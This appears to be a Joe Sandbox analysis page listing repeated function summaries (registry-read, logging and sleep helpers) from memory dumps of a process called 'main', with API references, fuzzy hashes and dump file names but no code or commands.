Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 335d1d3817ec4d55ff377caf703831ab7f6be45e12ce3a8728bfb007799e5078
Instruction ID: d1952aa4c8ab7641c3edd1fe42c01a5f9f47da2b12f5df745562d7c8c1f7c879
Opcode Fuzzy Hash: 335d1d3817ec4d55ff377caf703831ab7f6be45e12ce3a8728bfb007799e5078
Instruction Fuzzy Hash: 71F09C5260C70692E5619F88BC807B67354BF457D4F484276DF8D466A0EF3DDB899300

Function 00007FF708875938 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 00007FF7088758CD

Part of subcall function 00007FF7088799E2: fwrite.MSVCRT ref: 00007FF708879A8E
Part of subcall function 00007FF7088799E2: fflush.MSVCRT ref: 00007FF708879A9A

Strings

registry_get_value, xrefs: 00007FF708875916
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF70887591D

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 84507be4a4de6d467d6f1ceb591116e6e33086f4e66504b08abdaae3ee9167ed
Instruction ID: eca2cf48737985f710688437618f97a8a1ba8256b562f0fb1424e9f54add26dd
Opcode Fuzzy Hash: 84507be4a4de6d467d6f1ceb591116e6e33086f4e66504b08abdaae3ee9167ed
Instruction Fuzzy Hash: 48F0966262870782F652EF04BD80BB9E264FF407A4F880236ED5D466D1DF3DD9E99318

Function 00007FF7088758AE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 00007FF7088758CD

Part of subcall function 00007FF7088799E2: fwrite.MSVCRT ref: 00007FF708879A8E
Part of subcall function 00007FF7088799E2: fflush.MSVCRT ref: 00007FF708879A9A

Strings

registry_get_value, xrefs: 00007FF708875916
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF70887591D

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: ecfad8fd3af469c49ddfd4974a27326ec12363b3caf6cddb9e7d44f65fa213f7
Instruction ID: c7be4428fad18808d80711deac258b9d9738c9255512fd916065382880c9c01b
Opcode Fuzzy Hash: ecfad8fd3af469c49ddfd4974a27326ec12363b3caf6cddb9e7d44f65fa213f7
Instruction Fuzzy Hash: CDF0FC2262830742F652EF00BD80B79E254EF40794F840136DD5D462D0DF3CD9D99314

Function 00007FF7088758BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 00007FF7088758CD

Part of subcall function 00007FF7088799E2: fwrite.MSVCRT ref: 00007FF708879A8E
Part of subcall function 00007FF7088799E2: fflush.MSVCRT ref: 00007FF708879A9A

Strings

registry_get_value, xrefs: 00007FF708875916
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF70887591D

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 1ef01ad073160347b9336122c58a1bb31a20614d72c9cdcb911e51d8656fb6c7
Instruction ID: 0f071fbc21bd0a0e6df3010d0e0122144b98f6a98976b1ce5d7ec84d73c36a64
Opcode Fuzzy Hash: 1ef01ad073160347b9336122c58a1bb31a20614d72c9cdcb911e51d8656fb6c7
Instruction Fuzzy Hash: 38F0FC2262830742F652EF00BD80B79E254EF40794F840136DD5D466D0DF3CD9D99314

Function 00007FF708875827 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 00007FF7088758CD

Part of subcall function 00007FF7088799E2: fwrite.MSVCRT ref: 00007FF708879A8E
Part of subcall function 00007FF7088799E2: fflush.MSVCRT ref: 00007FF708879A9A

Strings

registry_get_value, xrefs: 00007FF708875916
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF70887591D

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 8a306065cf7652f2ea88d6f8cf3679f0c48f79bc5049da17eabc2150b7eef19c
Instruction ID: b13c15c18aef203c085ac27fc41825eff324cc53fdf5f02f63caa034dd4c7842
Opcode Fuzzy Hash: 8a306065cf7652f2ea88d6f8cf3679f0c48f79bc5049da17eabc2150b7eef19c
Instruction Fuzzy Hash: F1F09C6262870742F652EF04BD80B79E254FF40794F840135DD5D466D1DF3DD9D99314

Function 00007FF70887581D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32 ref: 00007FF7088758CD

Part of subcall function 00007FF7088799E2: fwrite.MSVCRT ref: 00007FF708879A8E
Part of subcall function 00007FF7088799E2: fflush.MSVCRT ref: 00007FF708879A9A

Strings

registry_get_value, xrefs: 00007FF708875916
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF70887591D

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 8cfc696cedb4df67d3dd9865147946229a73ea3b819559de613cfabccd486ad9
Instruction ID: 79426812dd101f5763b7258bb303216b6f9ebc2a024cd141a00fa34d74c2c0eb
Opcode Fuzzy Hash: 8cfc696cedb4df67d3dd9865147946229a73ea3b819559de613cfabccd486ad9
Instruction Fuzzy Hash: AAF0FC2262830742F652EF00BD80B79E254EF40794F840235DD5D462D1DF3CD9D99314

Function 00007FF8B918268D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B918273D

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B918278D
registry_get_value, xrefs: 00007FF8B9182786

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 0ca799fca6bbcb1757cbcc2dcca85249b25f476f8fa3a6e87312bd06e934d07b
Instruction ID: 3ad469e133cbf741c7e98f467054f27528fef1372f08fb528ad6300068a82333
Opcode Fuzzy Hash: 0ca799fca6bbcb1757cbcc2dcca85249b25f476f8fa3a6e87312bd06e934d07b
Instruction Fuzzy Hash: 58F0F622A0878642E5538F0CB8803757244BF407E4F494635DF5D46691EF3DD986B300

Function 00007FF8B9182697 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B918273D

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B918278D
registry_get_value, xrefs: 00007FF8B9182786

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 5aa2f7c8573c3de0365c04b7b97fedeb54286f0fb7594e79099b212bd57f958c
Instruction ID: 3cd975793e2593f46408d791bc155c68050fe39c0051fd6262389bd36191b347
Opcode Fuzzy Hash: 5aa2f7c8573c3de0365c04b7b97fedeb54286f0fb7594e79099b212bd57f958c
Instruction Fuzzy Hash: E3F0F022A0868642E6538F0CBC803B97244BF407E4F49463AEF5D46691EF3DDA8AB300

Function 00007FF8B918271E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B918273D

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B918278D
registry_get_value, xrefs: 00007FF8B9182786

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: b64ba499165d0bf9f2a6abbdea868e445e23a4ee5814657b89a818d1230dab7a
Instruction ID: acbda8544bbe563e28de5675648f70b184f3252f1e5b5923a141e5ae3e835372
Opcode Fuzzy Hash: b64ba499165d0bf9f2a6abbdea868e445e23a4ee5814657b89a818d1230dab7a
Instruction Fuzzy Hash: F5F0F622A0878642E5538F0CBC803757244FF407E4F494536DF5D46691DF3DDA86B300

Function 00007FF8B918272C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B918273D

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B918278D
registry_get_value, xrefs: 00007FF8B9182786

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: b925a896082f3cbac8f85682289c0623576caa08c1e2f56db9f14118f2be1eb2
Instruction ID: b0d9de61a816731c9345bbd97bc40bc011f2dbb4d13bec58fe18848e7f7ef728
Opcode Fuzzy Hash: b925a896082f3cbac8f85682289c0623576caa08c1e2f56db9f14118f2be1eb2
Instruction Fuzzy Hash: 39F0F622A0878642E5538F0CB8803757244BF407E4F494536DF5D46691DF3DD986B300

Function 00007FF8B91827A8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8B918273D

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B918278D
registry_get_value, xrefs: 00007FF8B9182786

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 56f8f947741124c32929831f6305df564f095b6d9a6d9a0b39bb5ff756825751
Instruction ID: d163a41e2158c5c0ca51e3a5e43e51b2ad2e369288e8e6a8c2261f9dc8896303
Opcode Fuzzy Hash: 56f8f947741124c32929831f6305df564f095b6d9a6d9a0b39bb5ff756825751
Instruction Fuzzy Hash: C4F09662A0878642E6538F0CB8807757255BF407E4F494635DF5D46695DF3DD98AB300

Function 00007FF8BFB5364A Relevance: 3.8, APIs: 3, Instructions: 74sleepCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF8BFB5372B
Sleep.KERNEL32 ref: 00007FF8BFB53737

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Sleepmemcpy
String ID:
API String ID: 1125407320-0
Opcode ID: 992cbff283cf5bc95ae1a3ea0b4319c7fbf54e715062f432e6d1e15d965cf2f6
Instruction ID: 9379432b5bc0e6ab582c44bcf956020c76fd09851529afa3726c9ddb959def9e
Opcode Fuzzy Hash: 992cbff283cf5bc95ae1a3ea0b4319c7fbf54e715062f432e6d1e15d965cf2f6
Instruction Fuzzy Hash: 1B315962E0C64292FA609BECE8A52787352AF447F0F18033AD77D067E1DE2CF555A650

Function 00007FF8BFB89B0A Relevance: 3.8, APIs: 3, Instructions: 74sleepCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF8BFB89BEB
Sleep.KERNEL32 ref: 00007FF8BFB89BF7

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Sleepmemcpy
String ID:
API String ID: 1125407320-0
Opcode ID: b87abd954e14124bfefb60d04ef0fd2187e4f04c7771b26ba7a85592d234dd00
Instruction ID: c6bc02626b61f004f88f23012105a7d6373844b016c3c864ea471cb8de1c5aaf
Opcode Fuzzy Hash: b87abd954e14124bfefb60d04ef0fd2187e4f04c7771b26ba7a85592d234dd00
Instruction Fuzzy Hash: 0E315C25E0D75B82FA6097EDE8882782355AFC1BF4F144331D77E46AE2DE2DA841D600

Function 00007FF8B915184A Relevance: 3.8, APIs: 3, Instructions: 74sleepCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF8B915192B
Sleep.KERNEL32 ref: 00007FF8B9151937

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Sleepmemcpy
String ID:
API String ID: 1125407320-0
Opcode ID: 3d3b53d04c772b8df934e6e75b7e7394d6e1c1ef4915e661cc7242475e802ccf
Instruction ID: 3b5380edf9031800730bb6fd5d6ffaf9694a42cf0b797924d49445e63259c68a
Opcode Fuzzy Hash: 3d3b53d04c772b8df934e6e75b7e7394d6e1c1ef4915e661cc7242475e802ccf
Instruction Fuzzy Hash: B8312B25E0868392F6325FACE8942782251AF443F0F214735DB7D466E5CE2CF98AF640

Function 00007FF8BA50184A Relevance: 3.8, APIs: 3, Instructions: 74sleepCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF8BA50192B
Sleep.KERNEL32 ref: 00007FF8BA501937

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: Sleepmemcpy
String ID:
API String ID: 1125407320-0
Opcode ID: a353561d76903494636ec477018f7265d0b2c6ffd32db1de9122ce1526666027
Instruction ID: d1a462df975887e93967b91da92761532a1896bcfd601919c564c3e66f57ef1c
Opcode Fuzzy Hash: a353561d76903494636ec477018f7265d0b2c6ffd32db1de9122ce1526666027
Instruction Fuzzy Hash: 2E31F520E0C60692F6305BEDAC8427A6251BF463F0F5007B6DF7D466F1DE2CEB459641

Function 00007FF8B918EF2A Relevance: 3.8, APIs: 3, Instructions: 74sleepCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF8B918F00B
Sleep.KERNEL32 ref: 00007FF8B918F017

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Sleepmemcpy
String ID:
API String ID: 1125407320-0
Opcode ID: 0cb8941dfc163a413c5ab916b78a3d17a0994cdb19c6253a22ed711d911a51f6
Instruction ID: 0d92a77e8aa1d7bbe763f043219c3183562da79cfec2b515fd25baf78f50a1ac
Opcode Fuzzy Hash: 0cb8941dfc163a413c5ab916b78a3d17a0994cdb19c6253a22ed711d911a51f6
Instruction Fuzzy Hash: 30312120E1C68283F630AF2CE8C52792652AF457F0F650331EB7D566E3DE2DA9467781

Function 00007FF70887886D Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF708871360: GetModuleHandleExA.KERNEL32(?,?,?,?,?,?,00007FF7088784AF), ref: 00007FF70887137E

SleepEx.KERNEL32 ref: 00007FF7088788DC

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: HandleModuleSleep
String ID:
API String ID: 1071907932-0
Opcode ID: 979f6ab677c7687cb865241237432280adb0046b4e29c36f948d58921f5010c4
Instruction ID: 42503d3eec102efb5485b9cb306c0d88a7697186eca431e0569ea61cf4bacc54
Opcode Fuzzy Hash: 979f6ab677c7687cb865241237432280adb0046b4e29c36f948d58921f5010c4
Instruction Fuzzy Hash: 5B018621A2C64782F7A0B654EC58BB9E1A19F84384F940030D60E4B6D5DF7CD9A5C76C

Function 00007FF70887299E Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715
_errno.MSVCRT ref: 00007FF7088727B7
_errno.MSVCRT ref: 00007FF7088727D2
_errno.MSVCRT ref: 00007FF70887294C
_errno.MSVCRT ref: 00007FF708872967
fread.MSVCRT ref: 00007FF7088729EA
